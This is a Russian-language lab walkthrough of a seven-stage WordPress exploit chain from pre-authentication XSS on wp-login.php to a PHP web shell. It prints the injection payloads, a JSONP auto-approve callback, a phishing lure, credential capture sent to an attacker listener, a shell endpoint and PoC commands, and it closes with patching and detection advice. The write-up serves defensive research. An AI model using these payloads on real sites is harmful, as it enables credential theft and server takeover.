XSS2Shell: от нуля до шелла на WordPress

Практическое руководство по цепочке XSS без предварительной аутентификации, позволяющей добиться удалённого выполнения кода в ядре WordPress, продемонстрированное в локальной лаборатории на базе Docker.

Только авторизованное тестирование.

Всё описанное ниже выполнялось в локальной лаборатории (WordPress 7.0.2 на localhos). Не используйте эти техники против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Краткое резюме

XSS2Shell — это не одна уязвимость, а семиэтапная цепочка эксплойтов, которая начинается с одного символа (< за которым следует пробел), обходящего два разных HTML-парсера на странице входа WordPress, и заканчивается выполнением PHP на сервере от имени www-data.

Чем это опасно:

  1. Этап 1 не требует аутентификации — любой может запустить JavaScript на wp-login.php.
  2. Уязвимость находится в ядре WordPress — не в плагине; фактически каждая поддерживаемая установка начиная с 2016 года подвержена этой проблеме.
  3. Используется собственный код WordPress — user-profile.js, REST JSONP, пароли приложений, загрузка плагинов — в качестве вспомогательных инструментов.
  4. Полноценное удалённое выполнение кода продемонстрировано и признано WordPress — хотя для этого требуется вынудить авторизованного администратора совершить один клик.

В этой статье каждый этап описан с приложением скриншотов из нашей локальной лаборатории.

Лабораторная среда

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 на http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Каждый сайт на WordPress открывает доступ к /wp-login.php. Эта страница является точкой входа для всей цепочки.

Этап 0: Дифференциал парсера (первопричина)

При неудачном входе WordPress отображает введённое имя пользователя в сообщении об ошибке. Имя пользователя проходит через два санитайзера, которые по-разному понимают, что такое «тег»:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Полезная нагрузка использует пробел после<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

На уязвимом WordPress 7.0.2 это проходит санитизацию и становится активным DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

На исправленном WordPress 7.0.4 тот же payload экранируется как HTML в сообщении об ошибке — живые элементы не создаются.

Эта уязвимость существует начиная с WordPress 4.7 (2016) и не была обнаружена в ходе многолетних аудитов безопасности.

Этап 1: XSS без предварительной аутентификации (вход не требуется)

Внедрённые DOM-узлы соответствуют селекторам, которые собственный скрипт WordPress user-profile.js ищет на странице входа (загружается в процессе сброса пароля):

  1. .reset-pass-submit .wp-generate-pw автоматически нажимается при загрузке страницы
  2. Клик всплывает до делегированного обработчика #color-picker
  3. Проверка защиты user_id === checkuser_id проходит, поскольку оба значения равны undefined
  4. jQuery отправляет POST на ajaxurl — но ajaxurl не существует на странице входа…

Если только мы не переопределим его:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Элемент <area id=ajaxurl> становится window.ajaxurl. jQuery вызывает .toString() → возвращает href. WordPress REST возвращает JSONP → jQuery globalEval() → alert()выполняется в контексте источника WordPress.

Stage 1 demo page
Stage 1 demo page

Отправьте форму (или откройте demo/stage1-preauth-xss.html и нажмите Run Stage 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Последствия только этого этапа: фишинг учётных данных на реальном домене, перехват сессии, вызовы API с того же источника — без какой-либо аутентификации.

Этап 2: Социальная инженерия — клик администратора

Этапы 2–7 требуют, чтобы авторизованный администратор открыл страницу, подконтрольную злоумышленнику. Именно это снижает CVSS ниже 10 — однако для целевых атак такой сценарий вполне реалистичен.

Администратор может получить сообщение: «Ваша сессия истекла — нажмите здесь для повторной аутентификации.»

Simulated phishing lure page
Simulated phishing lure page

При нажатии страница атакующего:

  1. Открывает дочернее всплывающее окно (about:blank)
  2. Перенаправляет главное окно на страницу авторизации паролей приложений WordPress
  3. Записывает XSS-форму в дочернее всплывающее окно и автоматически отправляет её на wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Этап 3: Выполнение методов одного источника (SOME) — автоматическое подтверждение

XSS-полезная нагрузка дочернего окна изменяет JSONP-колбэк с alert на:

window.opener.approve.click

WordPress REST оборачивает ответ:

/**/window.opener.approve.click({...})

Скрипт обращается к window.opener (родительское окно) → .approve (кнопка #approve) → .click(). Кнопка Approve для паролей приложений нажимается автоматически — без каких-либо действий пользователя на этой странице.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Обратите внимание на URL колбэка на странице: учётные данные будут отправлены на http://127.0.0.1:9090/callback?...&password=[------].

Этап 4: Перехват пароля приложения

WordPress создаёт новый пароль приложения и перенаправляет на success_url злоумышленника с учётными данными в строке запроса:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Теперь у злоумышленника есть учётные данные HTTP Basic auth для WordPress REST API — полученные из сессии администратора, без того чтобы администратор что-либо вводил после первоначального перехода по ссылке.

Этап 5: Публикация страницы под контролем злоумышленника

Используя похищенный пароль приложения, злоумышленник отправляет POST-запрос на /wp-json/wp/v2/pages и публикует страницу со встроенным JavaScript. Администраторы обладают правом unfiltered_html — теги script сохраняются.

Этап 6: Загрузка плагина через сессию администратора

JavaScript злоумышленника (выполняющийся в браузере администратора на опубликованной странице):

  1. Получает /wp-admin/plugin-install.php?tab=upload для получения одноразового токена загрузки
  2. Отправляет POST-запрос с вредоносным ZIP-архивом на /wp-admin/update.php?action=upload-plugin
  3. WordPress извлекает его в wp-content/plugins/xss2shell/

Плагин не нужно активировать. PHP-файлы в директории плагина доступны напрямую через веб.

Этап 7: Удалённое выполнение кода

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Ответ:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Злоумышленник теперь выполняет произвольные команды от имени пользователя веб-сервера — читает wp-config.php (учётные данные базы данных), дампит базу данных, осуществляет горизонтальное перемещение.

Полный вывод терминала PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Вся цепочка в двух словах

sequenceDiagram participant A as Сервер злоумышленника participant V as Браузер жертвы participant W as WordPress 7.0.2 Note over V,W: Администратор авторизован V->>A: Открывает фишинговую ссылку (1 клик) A->>V: HTML злоумышленника + дочернее окно V->>W: Главное окно → authorize-application.php V->>W: Дочернее окно отправляет XSS-нагрузку на wp-login.php W->>V: JSONP выполняет window.opener.approve.click Note over V,W: Кнопка Approve нажата автоматически W->>A: Редирект с паролем приложения A->>W: REST API публикует страницу (Basic auth) V->>W: Администратор заходит на страницу → загружает ZIP плагина V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Насколько это действительно опасно?

Что гарантировано (высокая степень уверенности)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Что требует дополнительных условий (путь к RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Калибровка степени серьёзности

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Итог: Это не самораспространяющаяся RCE без единого клика, как Log4Shell. Это технически сложная уязвимость на уровне ядра, затрагивающая ~43% веба, при которой:

  • Только первый этап представляет собой серьёзный pre-auth XSS на странице входа
  • Полная цепочка превращает один клик администратора в компрометацию сервера
  • Первопричина (расхождение парсеров) применима к любой кодовой базе, использующей несколько HTML-парсеров

В собственном уведомлении WordPress указано, что для RCE необходимы «условия, находящиеся вне контроля злоумышленника» и «успешная социальная инженерия». Это верно — однако продемонстрированная цепочка делает эти условия достижимыми с помощью единственной ссылки.

Воспроизведение полной цепочки локально

# 1. Запустить лабораторию make up # 2. Включить пароли приложений по HTTP (только для лаборатории) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Запустить слушатель PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. В браузере: # a. Войдите как admin на http://localhost:9080/wp-login.php # b. Откройте http://127.0.0.1:9091/phishing-sim.html # c. Нажмите «Open attacker page» (разрешите всплывающие окна) # d. Дождитесь вывода в терминале с результатом shell + whoami

Защита

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Исправление добавляет esc_html() к имени пользователя в пути ошибки входа — гарантируя, что строка обрабатывается как текст, а не повторно разбирается как HTML.

Почему это важно для исследований в области безопасности

Каждое звено цепочки по отдельности выглядит незначительным:

  • Дифференциал парсера → незначительная проблема низкой серьёзности
  • Неправильный скрипт загружается на странице входа → низкая
  • Обратный вызов JSONP проверяется регулярным выражением → средняя
  • Пароль приложения в URL перенаправления → средняя
  • Директория плагина выполняет PHP без активации → известная особенность дизайна

В совокупности — CVSS 8.9 и получение оболочки.

Вывод: при оценке XSS-уязвимостей задавайте вопрос: «Что уже загружено на этой странице и что произойдёт, если передать ему нужные DOM-узлы?» Критичность — это свойство цепочки, а не отдельной уязвимости.

Ссылки

Спросите ИИ о CyberTested

Пусть ChatGPT, Gemini, Grok или Perplexity поделятся своими знаниями. Нажмите кнопку и узнайте, что ваш любимый ИИ скажет о CyberTested.

Выберите регион и язык

Регион
Язык
Хотите увидеть, как работает CyberTested?
Закажите бесплатную демонстрацию